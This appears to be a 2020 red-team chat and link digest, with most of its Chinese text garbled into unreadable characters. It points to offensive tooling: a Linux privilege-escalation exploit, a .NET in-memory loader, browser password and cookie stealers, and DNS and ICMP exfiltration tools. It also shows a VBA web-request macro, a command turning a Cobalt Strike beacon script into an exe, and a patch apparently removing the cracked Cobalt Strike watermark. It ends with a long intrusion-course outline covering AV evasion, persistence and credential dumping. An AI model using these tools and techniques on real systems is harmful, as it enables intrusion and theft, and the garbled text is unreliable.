z3r0yu: Seatbelt([https://github.com/GhostPack/Seatbelt)](https://github.com/GhostPack/Seatbelt))፥ጱӧᲙ҅੒ଫጱፘىᖫᦲঅጱᶱፓSharpCollectionҁ[GitHub+-+Flangvik/SharpCollec
tion:+Nightly+builds+...](https://github.com/Flangvik/SharpCollection)҂̶֕ฎᬯᐿૡٍӤփԏݸ਻ฃᤩ๤᫫ଗധ҅ಅզ؉ع๤ހҘᬮฎெԍӻ௏᪠ޫҘ
Wing: දრᎱ̶
z3r0yu: ᮎԍᳯ᷌๶ԧ҅ெԍץදޫҘํ݇ᘍ෈ᒍހҘ
Wing: ᇙ஄Ꮁਧ̶֖ࠡ

#ᏦᏦஷ#  
VMᶼᥦᇇඪ೮౗౗bug sirጱᡦ೙๢ԧ
https://bit.ly/get-fusion-tp

#൉๦#  
GitHub+-+initstring/dirty_sock:+Linux+privilege+es...

ӷᐿڥአොୗ
1. SSHݸᳪ
2. ᨴݸݩᳪ

#Burpൊկ#  
Shiroᤩۖಚൈ

GitHub+-+pmiaowu/BurpShiroPassiveScan:+ӞྃचԭBurpSui...

#Poc-Exp#  
Weblogicଉᥠṛܧᄋ၏ጱᖓڥݳአ

Weblogicଉᥠṛܧᄋ၏ጱᖓڥݳአ

#Poc-Exp#  
Weblogicଉᥠṛܧᄋ၏ጱᖓڥݳአ

Weblogicଉᥠṛܧᄋ၏ጱᖓڥݳአ

#๤ع#  
क़Ӟӻexe෈կݚ᫹ے
GitHub+-+Flangvik/NetLoader:+Loads+any+C#+binary+i...
˾─ csc /t:exe /out:NetLoader.exe Program.cs ─˽
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RedTeaming - 2020-07-25 

https://bit.ly/get-fusion-tp
https://github.com/initstring/dirty_sock
https://github.com/pmiaowu/BurpShiroPassiveScan
https://mp.weixin.qq.com/s?__biz=MzIyNzY1MzUxMQ==&mid=100000071&idx=1&sn=5eaab2602d9f022a82f0d2c5d4b0ef5d&chksm=685ca3af5f2b2ab9423268185c1ea7eddd65680991802794e411f3d95746602ea8797e3c7cf4#rd
https://mp.weixin.qq.com/s?__biz=MzIyNzY1MzUxMQ==&mid=100000071&idx=1&sn=5eaab2602d9f022a82f0d2c5d4b0ef5d&chksm=685ca3af5f2b2ab9423268185c1ea7eddd65680991802794e411f3d95746602ea8797e3c7cf4#rd
https://github.com/Flangvik/NetLoader


#Macro#  
vba᩸ݎhttps᧗࿢

Sub WebRequest()
Url = http:///
On Error GoTo Request2
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
' very short timeouts, increase if you want. this is in miliseconds
objHTTP.setTimeouts 100, 100, 100, 100
'Get for example, can also be any other HTTP VERB, in case you POST, the Send method needs another argument (else you'll just post empty)

objHTTP.Open "GET", Url, False
objHTTP.Send
Set objHTTP = Nothing
Exit Sub
Request2:
'if you want you can create more error handlers, alternating url or serverxml/winhttp In case you want multiple errors you'll have to reset the error handle to -1
On Error GoTo -1
' In case of multiple error handlers
'On Error GoTo Request3
'you can change your URL here if you want
Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
winHttpReq.Open "GET", Url, False
winHttpReq.Send 
End Sub

#redteam#  
hwܨࣁ,ӧ๶਍ԟӞӥހ?

HWܨࣁ——ᕁᴚၚۖԏLnk໏๜᫹រᓤ
HWܨࣁ——ᕁᴚၚۖԏLnk໏๜᫹រᓤ

Wing: ጮ৫ؾғํဌํӞᲫኞ౮ጱ jio ๜̶ #

#C2#  
ํᅩৼ఺௏ጱ҅य़ਹӥᖫᦲঅጱ҅౯ݍྋ๜᩸ࣈӧ๶̶

RedTeaming - 2020-07-25 

RedTeaming - 2020-07-25 

RedTeaming - 2020-07-26 

https://mp.weixin.qq.com/s/ZbtGJAT-SyZ50LRNOCg14w


Wing: ᒫӞེᥠ୏ݎᘏᬮᘍᡤᕳ࿥۸Ӟӥৼጱ
-: ኴᶎꂁঅ፡

#ٖᗑᛔۖ۸#  

GitHub+-+S3cur3Th1sSh1t/WinPwn:+Automation+for+int...

᧗಩ txt දԅ ps1

RedTeaming - 2020-07-26 

RedTeaming - 2020-07-26 

https://t.co/hMnmoVX9zP?amp=1


Wing: य़ߵՕᕨӞӥᬯሻ఺̶
Wing: ႰႝҘ
lengyi: ᧔Კԧ҅ฎද౮ py҅ps ጱႰႝᚕ๜
z3r0yu: य़҅ߵᬯӻ༄ၥ av ጱᗑᒊฎޚࠨҘ
lengyi: Vt
z3r0yu: thx
Wing: ڦփӤ݄҅փԧ੪ဌԧ̶
z3r0yu: ҅ࡧࡧ౯๋ᬪᵱᥝ൥Ӟӥع๤҅ᑱᆐమӧ᩸๶ᬯӻᒊࠨݞԧ̶፡๶ᬮฎ๜ࣈၥᦶޚ

#Poc-Exp#  

Shiro_Xray/xray_exp.py+at+master+·+jas502n/Shiro_X...

#ᛔۖ۸ૡٍ#  
ᩒԾ൤ᵞૡٍ҅ݢզਖ਼ᬯӻཛྷࣘکےᛔ૩ᄋಚ᯾̶[অጱ]

reNgine+-+An+Automated+Reconnaissance+Framework+Me...

RedTeaming - 2020-07-27 

RedTeaming - 2020-07-27 

https://github.com/jas502n/Shiro_Xray/blob/master/xray_exp.py
http://amp.kitploit.com/2020/07/rengine-automated-reconnaissance.html?amp=0


Wing: 

#CSTips#  
without launching PowerShell processes through the use of runspace.

spacerunner.exe -i bin\beacon.ps1 -o bin\beacon.exe -b -h

GitHub+-+Mr-B0b/SpaceRunner:+This+tool+enables+the...

ಲᎹ୚ሳԏCobaltStrike4.1ጱBOF

#ٖᗑႽ᭐#  
Ӟྃඪ೮قଘݣጱၨᥦ࢏හഝҁPasswords | History | Bookmarks | Cookies҂੕ڊૡٍ

RedTeaming - 2020-07-28 

RedTeaming - 2020-07-28 

RedTeaming - 2020-07-29 

https://github.com/Mr-B0b/SpaceRunner
https://mp.weixin.qq.com/s/-jU4HrPtB8rD4cmqAKZOZw


go᧍᥺ጱӧᎣ᭲տᤩavଗധӧ

GitHub+-+moonD4rk/HackBrowserData:+Decrypt+passwor...

#Tools#  
Impacket૪ᖫᦲᇇ๜ғGitHub+-+ropnop/impacket_static_binaries:+Standalo...

#ᕁᴚྎ۸࢏Ꮈݎ#  
Misticaྌᇇ๜ๅෛԏݢݸզᦏMeterpreterᩳICMP 

GitHub+-+IncideDigital/Mistica:+An+open+source+swi...

Wing: Քॠᦶԧ҅ᖫᦲ౮ exe ӧॡᭇᯈ̶
z3r0yu: ӧॡᭇᯈฎӧॡᑞਧހҘᬮฎ win ᔮڜᇇ๜ඪ೮ํࠨᳯ᷌ޫҘ౯ڟ፡کๅෛ
Wing: py ಑۱౮ exe ֦ᮎ᯾ᦶᦶ፡፡҅౯አ pyinstaller ဌဩᬩᤈ̶
z3r0yu: %҅౯ՔॠၥӞӥ

#ᏦᏦஷ#  
զݸጱྯӞӻૡٍ޾Ꭳᦩᅩ౯᮷տੱᰁᛔ૩ࣁ๜ࣈၥᦶ౮ۑզ҅ݎٚݸଚ᧔กٍ֛አ᭔҅෈ᒍړՁ౯տ੒෈ᒍᬰᤈӞӻय़֛Օᕨ҅ሿࣁ᮷ฎᏦᇆ۸਍ԟ҅ইຎӧ௛ᕮ҅ፘ୮ԭ0҅Ԇᥝᬮฎ஑൥ྎ۸࢏चᏐ̶

᤼ᤓߵ: ํԶӳᥜӧ៧ࣈጱᦾ֢አ੪ӧय़
Wing: ౯Ⴊ҅Ӥቔ੪ݒᣪӴᰓԧ҅ӥቔࢧ๶ኪᚏ᮷ӧమ಑୏̶
z3r0yu: ൥᩸๶൥᩸๶

#ᕁᴚྎ۸࢏Ꮈݎ#  
̶ݩռلݶ๤௏᪠҅عጱݎ౯Ӟ੺ጱय़֬҅ୌᦓ݄፡Ӟӥ՜Ӥӻ์޾

C/C++᭛౮਍ԟ᪠ᕚ

᤼ᤓߵ: ๋ᬪڟࣁ c҅ᬯሻ఺ᤩ๤᫫ړຉጱ᮷૧ӧग़ԧ҅१অٷ
crazyman: c#
᤼ᤓߵ: c# ࣁᰜṺ࣋วํ෸ײӧฎᇙڦঅአ
Wing: ᰜṺ൥஑౯१ᐻ҅tmd ᴠਝᴚ༄ၥک෈կ҅ෆӻ ip ྦྷقᕳ֦੗ԧ֦҅ᬮࣁమԅࠨӧӤᕚ̶
᤼ᤓߵ: ऒڹݷᗝ֦҅৫ӻᴨ᯾ԯ cdn ࠡ
Wing: ऒݷ੗ԧԞဌېဩԧ̶ޚଠවᗑ޾ӧଠආᗑ҅ఴ̶
᤼ᤓߵ: host ։᭜౮ፓຽԆᒊ + cdn ڹᗝଫᧆ੗ӧധ
Wing: ᬯӻํ఺௏҅ӥེ੪ᬯԍଗ̶

#CSTips#  
4.1ิ໯
common/ListenerConfig

RedTeaming - 2020-07-29 

RedTeaming - 2020-07-30 

RedTeaming - 2020-07-30 

RedTeaming - 2020-07-30 

RedTeaming - 2020-07-31 

https://github.com/moonD4rk/HackBrowserData
https://github.com/ropnop/impacket_static_binaries/
https://github.com/IncideDigital/Mistica
https://mp.weixin.qq.com/s/QR8iJ-hKv3GRdlu9Qyf5JQ


public String pad(String var1, int var2) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);

while(var3.length() < var2) {
if (this.watermark == 0) {

//var3.append("5O!P%@AP[4\PZX54(P)7CC)7} H+H*\u0000");

} else {
var3.append((char)CommonUtils.rand(255));
}
}

return var3.toString().substring(0, var2);
}

#Ⴝ᭐ದૣ#  
ᬯӻᒊํᅩሕࠡ

HackTricks+-+HackTricks

z3r0yu: ๋ᬪӞፗአᬯӻᒊ୮ಋٙັ

#CSTips#  
ԅӾ᝕෈૧୑੕ᛘጱ̶ࢩᚆտಸᲙ҅᧔෸ᳵӧ੒҅ฎݢC2profile҅ײᗝጱ෸ڹऒ؉ࣁ
ٍ֛፡̶ࢶ

RedTeaming - 2020-08-01 

RedTeaming - 2020-08-01 

https://book.hacktricks.xyz/?nsukey=rhC1Via0oUxjtxUNM4jFjmmFNw4SQ237rtdXK0KXVCDva1Pgxz%2FKdGuWofKqMYkorKtJW%2F0Qw8rEJeq%2BHUilucoVeLYxzy5b2QGEqdkojZ9sL0g5pLNf%2Fa6D3i22qomX5%2Fu68nnsZjlt0fh%2BxQVfYWwGHdKV6smYgykXjTNinu4EXRmj8i2kEG%2BeWZJk2O9iSEDJlDQwvalHduidUtDrCA%3D%3D


RedTeaming - 2020-08-02 



#ᕁᴚದૣ#  

ฌॠਞ௤ݎጱ෈ᒍ᯾ᶎֵአԧӞӻᲫፏᦕ୯҅࢏ളکፓຽᲫፏӤ҅ᆐݸ᭗ᬦۖސጱwifiݢզᬱᑕ᧛ݐᲫፏᦕ୯מ௳҅wifiጱssidݢզᵌᡐ҅ebayӤᶎݢզԣ҅౯২Ἃᅸ҅ತጱႣਪդᨻ๋҅ளԞᥝӞӻ์҅ݸᖅᕁ᠗ᶱፓ૶๕ᚆአᬰ̶݄ᬯӻํ఺௏ጱ̶

ᬪრႽ᭐ၥᦶԏKeyloggerਫ౴

https://mp.weixin.qq.com/s/ra_N5dkhZOcHmdHuzl-oQw






#ᕁᴚದૣ#  

ฌॠਞ௤ݎጱ෈ᒍ᯾ᶎֵአԧӞӻᲫፏᦕ୯҅࢏ളکፓຽᲫፏӤ҅ᆐݸ᭗ᬦۖސጱwifiݢզᬱᑕ᧛ݐᲫፏᦕ୯מ௳҅wifiጱssidݢզᵌᡐ҅ebayӤᶎݢզԣ҅౯২Ἃᅸ҅ತጱႣਪդᨻ๋҅ளԞᥝӞӻ์҅ݸᖅᕁ᠗ᶱፓ૶๕ᚆአᬰ̶݄ᬯӻํ఺௏ጱ̶

ᬪრႽ᭐ၥᦶԏKeyloggerਫ౴

RedTeaming - 2020-08-02 

https://mp.weixin.qq.com/s/ra_N5dkhZOcHmdHuzl-oQw






#ᰜṺධڋ#  
ইຎӧḵᦤDKARCA҅ݢզڥአ163Ӟᔄጱ๶։᭜ݎկՈ๋҅অฎತکHRጱᘶᔮොୗ҅֕ฎॡग़੪տᬰ࣯࣍ᓟ҅੪ᥝഘᨴ҅ݩᕮݳᶭᶎظᵇ҅᭗ᬦᬯӻොୗᰜԧӧ੝ᨴ̶ݩ
ᆐݸ੪ฎ؁෤ጱᬯᓤ෈ᒍ҅౯๋ᬪٟࣁᔄ֒ጱૡٍ҅ᬯԶAPTದ๞ᥝ៧ࣈ಍ᤈѺ

ᕁᴚᤈۖԏṺ݉ධڋ-ᎸᑪړՁ+«+؁෤ጱܗਮ

Swaks։᭜ᮒկݎկՈᕰᬦSPF

ADऒ᯾ጱACLධᴠғADऒ᯾ጱACLධᴠ+|+ԜӮጱܗਮ

#MacTips#  
MacᓌܔӞᅩጱjar᫨app
python jar2app ../../../02-๦ᴴᓕቘ/Behinder_v2.0.1/Behinder.jar -j "-XstartOnFirstThread" -i ~/Pictures/hacker.icns

ᗌᵅ੪ฎ෫ဩق੽҅᭗ᬦInstall4J಑۱ጱ҅ݢզق੽නय़҅֕ဌತکᑞਧጱᏈᥴ҅ӣӻ์ۖސݸտ୨໛൉ᐏҁӧ୽ֵߥአ҂̶

RedTeaming - 2020-08-02 

RedTeaming - 2020-08-02 

RedTeaming - 2020-08-03 

https://payloads.online/archivers/2020-02-05/1
https://mp.weixin.qq.com/s/cqpy716gTJ1lrl338MuEsQ
https://422926799.github.io/posts/be9dae0a.html


#ᏦᏦஷ#  
ํ෸ᳵጱ૵ؓၥӥᬯӻૡٍ፡፡๋҅ᬪࣁᶱፓӤ҅ဌ෸ᳵᎸᑪ̶[ළ಑]

PurpleSharpฎӞӻ୏නრդᎱૡٍ҅෰ࣁ൉׀၏੊੒ಋই֜ᰒ੒Windows Active DirectoryҁAD҂ሾहጱᥠᥴ̶ᧆૡٍ꧋ᦜਞقၥᦶՈާᰒ੒ADሾहಗᤈӧݶጱධڋᤈԅ҅۱ೡ௶఺᫫կಗᤈ̵๦ᴴ൉̵܋೮ԋ௔ڂ޾ഝᦢᳯ̶

”ᬱᑕԆ๢Ӥಗᤈཛྷ೙̶ࣁᓕ᭲҂ݷ޸޾ၾ௳ࣘҁSMB҂̵Windowsᓕቘᥢ᝜ҁWMI҂̵ᬱᑕᬦᑕ᧣አҁRPC҂࢏ۓᚆҁֺই๐ۑ/ۓWindows๐ࣈ๜޾ഝڂአᓕቘڥᚆғ“PurpleSharp᭗ᬦۑ/ᚆۑᲫى

Ӟӻdnsහഝփᬌૡٍ

GitHub+-+Arno0x/DNSExfiltrator:+Data+exfiltration+...

#ᕁᴚದૣ#  
ӥ҅ᵱᥝӤᕚ౲ᘏٌ՜඙̶֢ᬯ໏ಗᤈ੪ᤈ̶ฌภ಑ᬦ̶٭Ӟӻcmdጱఘํݝݻᗑ᯾ᶎཞٖࣁ

RedTeaming - 2020-08-04 

RedTeaming - 2020-08-05 

RedTeaming - 2020-08-05 

https://github.com/Arno0x/DNSExfiltrator


᤼ᤓ[ޜݎ] :ߵ ᦧᦞ᪙ӥᔮᕹᇇ๜ edr ฎߺਹጱ̶
Wing: Եמ౲ᘏॠක
᤼ᤓߵ: okok
L: ᘌใᕚමࢵဩԧ [ঃᒞ]

#ᕁᴚದૣ#  
ᒫӞᒍ מ௳තᵞ
1.1 Ԇ๢ݎሿ
ኞ౮௳מᘶى 1.2
1.3 ୏නᄋ၏ఘಸ
1.4 ୏რఘಸ൤මҁOSINT҂
1.5 Github Hacking
1.6 Google Hacking
1.7 Git-all-secret
1.8 Mailsniper.ps1 ឴ݐoutlookಅํᘶᔮՈ
1.9 ٖᗑႽ᭐ԏמ௳තᵞ
եጱአဩ޸තᵞԏWMIC௳מႽ᭐ݸ 1.10
1.11 ٖᗑཞݻଉᥠᒒݗ
ᒫԫᒍ ಑ᅩ-ᬰٖفᗑ
2.1 क़᮱ളفWIFI
2.1.1 ෫ᕚධڋਫ౴ଫአԏDNSSPOOF̵Evilportal̵DWallᕟݳ೦׍ف
2.2 ଫአᔮᕹᄋ၏ڥአ
2.2.1 ଉᥠᄋ၏ಚൈ
2.2.1.1 impacker໛ຝԏmssql๐࢏ۓਞق༄ັ

RedTeaming - 2020-08-05 



2.2.1.2 ms17_010 pyᚕ๜ڥአ
2.2.2 ๚ദ๦ᦢᳯᄋ၏
2.2.2.1 jboss๚ദ๦
2.2.3 ᬱᑕդᎱಗᤈᄋ၏
2.2.3.1 javaӥጱ॰ௗ޸եಗᤈ
2.2.3.2 shiroݍଧ۸ᦕ୯
2.2.3.3 RMIݍଧ۸
2.2.3.4 JNDIဳف
2.2.3.5 fastjsonᄋ၏ၠຉ
2.2.3.6 cve-2019-11043 PHPܻڠդᎱಗᤈ॔ሿ
2.2.3.7 JAVA webshell ՗فᳪفکሄᔮ1ڜ-चᏐᓤ
2.2.3.8 ႮفᎸᑪxmldecoder
2.2.3.9 fastjsonݍଧ۸਍ᔮ
2.2.3.10 oracleහഝପਞق௏ᘍԏxmlݍଧ۸
2.2.3.11 webshellᕰਞقཛྷୗಗᤈ޸ե
2.2.3.12 javaӥጱxxeᄋ၏
2.2.3.13 solr velocity ཛྷ຃ᬱᑕդᎱ॔ሿզ݊ڥአ೰ܖ
2.2.3.14 solr-rce-via-velocity-template
2.2.3.15 JAVA webshell ՗فᳪفکሄᔮ2ڜ-ධᴠ੒ಯԏbypassӤᓤ
2.2.3.16 JAVA webshell ՗فᳪفکሄᔮ3ڜ-ධᴠ੒ಯԏbypassӾᓤ
2.2.3.17 JAVA webshell ՗فᳪفکሄᔮ4ڜ-ධᴠ੒ಯԏbypassӥᓤ
2.2.3.18 javaݍଧ۸ᬦᑕႮᑪ
2.2.3.19 apache solr ӧਞقᯈᗝᬱᑕդᎱಗᤈᄋ၏॔ሿզ݊JMX RMIڥአړຉ
2.2.3.20 java޸եಗᤈੜᕡᜓ
2.2.3.21 JDKݍଧ۸gadets-7u21
2.2.3.22 weblogic-t3-cve-2019-2890-analysis
2.2.3.23 spring-boot-actuators๚ദ๦ᄋ၏
2.2.3.24 semcms2.6 ݣݸ෈կӤփᄋ၏ਭᦇ
2.2.3.25 դᎱਭᦇԏlvyecmsݣݸgetshell
2.2.3.26 log3j-unserialize-analysis
2.2.3.27 javaݍଧ۸-fastjsonᕟկ
2.2.4 WAF-BYPASS
2.2.5 ጭ୯ളݗJSڹᒒੂےᕰᬦ
2.2.6 XMLDECODERຽᓋ
አPHPmyadmin ݄get shellڥ 2.2.7
2.2.8 ධڋJWTጱӞԶොୗ
2.2.9 Ӥփᄋ၏
ᄋ၏فဳ 2.2.10
ᄋ၏فဳ 2.2.10.1
2.2.10.2 mssqlڥአ௛ᕮ
2.2.10.3 ධڋmssql-powerUPSQLՕᕨ
2.2.10.4 ই֜ڥአmysql ਞقᇙ௔ݎሿᄋ၏
2.2.10.5 hibernate च๜ဳف
2.2.10.6 mysqlڥአ general_logfile̵show_query_logfileٟ෈կ
2.2.10.7 տ౴ړՁ-sql server ဳف getshell
2.2.11 ෈կ᧛ݐᄋ၏
2.2.12 pentesterlab xss
2.2.13 offcie ਡጱच๜ڥአ
2.2.14 java-security-calendar-2019-candy-cane
2.2.15 discuz ssrf RCE ᄋ၏ړຉಸޞ
2.2.16 wordpress ᧍᥺෈կդᎱಗᤈᄋ၏ړຉಸޞ
2.2.17 struts2 ᬱᑕ޸եಗᤈs2-048ᄋ၏ړຉಸޞ
2.2.18 ᶉாع๤phpӞݙᦾҁᬦD፛҅မḘ҅ਞقᇸ҂
2.2.19 ᰂᣟמ௳ᔮᕹਞقᦧၥොဩ
2.2.20 apache-poi-xxe-analysis



2.2.21 ᦕӞེᴨ᯾Ԇᒊxssၥᦶզ݊ᕰᬦWAFᴠಷ
2.2.22 classloaderᔄے᫹๢ګ
2.2.23 ၠ᧨ssrfܻቘզ݊ڥአ
2.2.24 spring-data-commons(cve-2018-1273)
2.2.25 xssᕰᬦդᎱݸ๗ᳩଶᴴګጱොဩ
2.2.26 mysql൉๦ԏmof
2.2.27 mysql൉๦ԏudf
2.2.28 xssचᏐ਍ԟ
2.2.29 javaݍ੘զٖ݊ਂshellڡറӞचԭjetty਻࢏ጱshellᖌ๦
ดࢧአdnslogڥ 2.2.30
2.2.31 ෈կݳ౮/ࢶᇆ๙Ḙኞ౮
2.2.32 udf൉๦
2.4 ᐒտૡᑕ਍
2.4.1 ࿜ࣗධڋ
2.4.2 Ṻ݉ධڋ
2.4.2.1 swaks-ᮒկ։᭜
2.4.2.2 ᮒկ։᭜ᴠகದ๞
2.4.3 ᰜṺධڋ
2.4.3.1 ᥤᥧපຎ
ᦤۙ೮ᄋ၏ڂ 2.4.3.1.1
ᵇದ๞ظ 2.4.3.2
2.4.3.3 word෈໩-ԯਡդᎱᰜṺ
2.2.5 appੂᎱᓒဩ᭗አړຉොဩ
2.2.6 linuxӥݍ୨shell޸ե
2.2.7 browser pivot for chrome
ᒫӣᒍ ޸եӨഴګ ҁc&c҂
3.1 httpᵒ᭲ABPTTS 
3.2 HTTPᵒ᭲regeorg
3.3 httpᵒ᭲tunna
3.4 httpᵒ᭲reduh
3.5चԭptunnel ୌᒈicmpᵒ᭲
3.6 ֵአanydesk؉ᬱഴ
3.7 ᴠகऒٖ঩ၝධڋ
3.8 att&ckධᴠڡᒁᔮᕹ-ಗᤈᓤ
3.9 powershell
ӧಗᤈpowershellӤᕚڞአ360ྋڥ 3.9.1
᫫կقԭpowershell੒ಯਞى 2.9.2
2.9.3 invoke-obfuscationՕᕨ
ᒫࢥᒍ ᑯ᭐Ө᫨ݎ
4.1 frpٖᗑᑯ᭐ਫ౴
4.2 चԭportfwd ᒒݗ᫨ݎ
4.3 venom-դቘ᫨̵ݎग़ᕆᑯ᭐
4.4 DNSᵒ᭲
4.4.1 DNSᵒ᭲ԏDNS TCP
4.4.2 DNSᵒ᭲ԏDNSCAT 
4.4.3 ֵአDNSܐᦓӤᕚMSFԏIodineᓤ
4.4.4 ֵአDNSܐᦓӤᕚMSFԏDNSCATᓤ
4.4.5 ֵአDNSܐᦓӤᕚMSFԏDNS TCP ᓤ
ᒫԲᒍ ٖ᮱מ௳තᵞ
5.1 ๜מࣈ௳තᵞ
5.1.1 አฦ᭗๦ᴴጱऒᨴ឴ݩ஑ऒሾहӾಅํDNSᥴຉᦕ୯
ᦤզ݊եᇈᐥഝڂ 5.1.2
5.1.2.1 ٖਂ᫨ؙ-឴ݐ๜ࣈhash
5.1.2.2 ᫨ؙऒᨴಁߢ૶꧊
5.1.2.3 ᫨ؙऒᨴಁߢ૶꧊ҁᖅ҂



5.1.2.4 SPNݎሿӨڥአ
૶փ᭓-ᬱᑕጭ୯ᓤߢ 5.1.2.5
5.1.3 አಁԟబ
5.1.3.1 ՗ፓຽ෈կӾ؉מ௳൤ᵞᒫӞਊ
Ꮁੂ࢏ᔮᕹಅํአಁጱᨕྈၨᥦڹ୮ݐ឴ 5.1.4
5.1.5 windows2003 ឴ੂݐᎱԏadsutil.vbs
5.1.6 ᥴੂፓຽ๢ਂכ࢏ጱRDPڂᦤ
5.1.7 hashcatᏈᥴhashᐟ࢏ᧇᥴ
5.1.8 ᥴੂsecurecrtਮಁᒒӾਂכጱੂᎱhash
5.1.9 ᥴੂwinscpਮಁᒒӾਂכጱੂᎱhash
5.1.10 Ꮘᥴweblogciᯈᗝ෈կӾጱහഝପੂᎱ
ऒഴ/ᔮᕹ෭பݐ឴ 5.1.11
5.2 ᗑᕶמ௳තᵞ
ሿፓຽ webᑕଧභఽፓ୯ᒫӞਊݎ 5.2.1
5.2.2 चԭSCF؉ፓຽٖᗑמ௳൤ᵞᒫԫਊ
5.2.3 ऒሾहמ௳තᵞ
5.2.3.1 active dircetory domain services ឴ݐऒഴמ௳
5.2.3.2 windowsऒႽ᭐-አಁੂᎱຍԈ
5.2.3.3 ӧݶሾहӥऒDNSᦕ୯מ௳තᵞොဩ
5.2.3.4 impacket໛ຝԏऒݐ឴௳מ
5.2.3.5 ऒמ௳තᵞԏuser sid
5.2.4 ૡ֢ᕟሾहמ௳൤ᵞ
5.2.4.1 चԭMSFݎሿٖᗑਂၚԆ๢ᒫӞਊ
5.2.4.2 चԭMSFݎሿٖᗑਂၚԆ๢ᒫԫਊ
5.2.4.3 चԭMSFݎሿٖᗑਂၚԆ๢ᒫӣਊ
5.2.4.4 चԭMSFݎሿٖᗑਂၚԆ๢ᒫࢥਊ
5.2.4.5 चԭMSFݎሿٖᗑਂၚԆ๢ᒫԲਊ
5.2.4.6 चԭMSFݎሿٖᗑਂၚԆ๢ᒫمਊ
5.2.4.7 चԭsqldatasourceEnumerator ݎሿٖᗑਂၚԆ๢
5.2.4.8 चԭICMPݎሿٖᗑਂၚԆ๢
5.2.4.9 चԭARPݎሿٖᗑਂၚԆ๢
5.2.4.10 चԭUDPݎሿٖᗑਂၚԆ๢
5.2.4.11चԭsnmpݎሿٖᗑਂၚԆ๢
5.2.4.12 चԭnetbiosݎሿٖᗑਂၚԆ๢
5.2.4.13 powershellӞ๵޸եᬰᤈٖᗑಚൈ
5.2.4.14 ٖᗑמ௳තᵞԏٖᗑդቘ
ᒫمᒍ ๦ᴴ൉܋
6.1 ඙֢ᔮᕹ๦ᴴ
6.1.1 linux
6.1.1.1 linux൉๦ׁᩢexpᓤ
6.1.2 sudoᄋ၏ړຉ(cve-2019-14287)
6.1.1.3 linux൉๦ԏٖ໐൉๦
6.1.2 windows
6.1.2.1 windwos൉๦ள᭛ತexp
6.1.2.2 tokenᑲڥ޾ݐአ
6.1.2.3 cve-2019-1388 windows uac൉๦ᄋ၏
ᒫӠᒍ ๦ᴴᖌ೮
7.1 ඙֢ᔮᕹݸᳪ
7.1.1 linux
7.1.2 windows
7.1.2.1 ੒ಯ๦ᴴᳩ๗಩ഴ։᭜෫පᓋݷᒫӞਊ
7.1.2.2 ଉᥠwindows೮ԋ௔ഴګ௛ᕮ
7.1.2.3 windows ridۙ೮
7.1.2.4 shiftฉۙ؟೮ݸᳪෛሻဩ
7.1.2.5 windows๦ᴴᖌ೮ᓤ-ဳٙᤒᖌ๦



7.1.2.6 windows๦ᴴᖌ೮ᓤ2-ᦇښձۓᖌ๦
7.1.2.7 windows๦ᴴᖌ೮ᓤ3-๐ۓserviceᖌ๦
7.2 ᒫӣොᕟկݸᳪ
7.3 APT੒ಯҁӞ҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.4 APT੒ಯҁԫ҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.5 APT੒ಯҁӣ҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.6 APT੒ಯҁࢥ҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.7 APT੒ಯҁԲ҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.8 APT੒ಯҁم҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.9 APT੒ಯҁӠ҂ᕁ᠗੒ಯىԭݸᳪ੒ಯ
7.10 DLLۙ೮-ӷᐿۙ೮ොဩڽຉ
7.11 att&ckධᴠڡᒁᔮڜ-ཞݻᑏۖᓤ
7.12 linux๦ᴴᖌ೮ԏLD_PRELOAD
7.13 linux๦ᴴᖌ೮ԏᬰᑕဳف
7.14 windws๦ᴴᖌ೮ԏofficeۖސ
ᒫكᒍ ٖᗑႽ᭐चᏐ
8.1 kerberrosܐᦓ
8.1.1 windowsᦊᦤܻቘԏkerberrosᓤ
8.2 NTLM
8.2.1 NTLMܐᦓզ݊HASHಬݐ
8.3 ٖᗑ޸եᤈႽ᭐ᒟᦕ
8.5 msfvenom ଉአኞ౮payload޸ե
8.6 windowsሾहܴᖽ෈կ&෈կ४ݳݷᵞ
8.7 windows net޸եᵞֵአ
8.8 cobaltstrike Өmetasploitਫ౴ᘶۖ
8.9 Ⴝ᭐ଉአጱ॔ګૡٍ
ᒫԜᒍ ᕁᴚᛔᎸ
ݎ๤ොໜᎸع 9.1
9.1.1 ਫ౴ع๤᧚ਫ਼ᶷshellcode᫹عਂٖف๤
9.1.2 ՈՈᚆᬦ๤᫫
9.1.3 ᬱഴ๙๙ຄ᭛ع๤360୚ක
9.1.4 चԭruby ٖਂے᫹shellcodeᒫӞਊ
9.1.5 DLLے᫹shellcodeع๤Ӥᕚ
๤عᐶړaspx ੒payloadᬰᤈۗ׵ 9.1.6
9.1.7 ᶉா௶఺դᎱᭈ᭥ᒫӞ᧞
9.1.8 ᶉா௶఺դᎱᭈ᭥ᒫԫ᧞
9.1.9 ᶉா௶఺դᎱᭈ᭥ᒫӣ᧞
9.1.10 ᶉா௶఺դᎱᭈ᭥ᒫࢥ᧞
9.1.11 ᶉா௶఺դᎱᭈ᭥ᒫԲ᧞
9.1.12 चԭpythonٖਂے᫹shellcodeᒫԫਊ
9.1.13 payloadړᐶع๤௏᪠
9.1.14 चԭਫ౴ጱsmall payloadଫአᒫӞਊ
9.1.15 चԭਫ౴Ӿsmall pyloadଫአᒫԫਊ
9.1.16 चԭgoٖਂے᫹shellcodeᒫӣਊ
๤ದ๞ԏmsf؇ಗཛྷୗع 9.1.17
๤ದ๞ԏኞ౮shellcodeᛔᤈᖫᦲع 9.1.18
ੂے๤ದ๞ԏդᎱع 9.1.19
ᚆۑ๤ದ๞ԏֵአCਫሿmeterprterع 9.1.20
9.1.21 ጮےἓع๤ᬦ360୏๢ۖސೝ౼
9.1.22 ֵአc#ਫሿᓌܔጱړᐶع๤
ᒫ܈ᒍ ਞقૡٍර਍
10.1 impacketॺկԏᬱᑕ޸եಗᤈۑᚆᦖᥴ
10.2 bloodhoundದ๞ᦖᥴ
10.3 windows 10ᯈᗝ൫ୌkaliሾहᒫӞਊ
10.4 Өcrackmapexec ᕮݳධڋ



10.5 meterprterӥ஑lrb඙֢ᒫӞਊ
10.6 चԭᒫ܈᧞ᤑ꧌payload(Ӟ҂
10.7 चԭᒫ܈᧞ᤑ꧌payload(ԫ҂
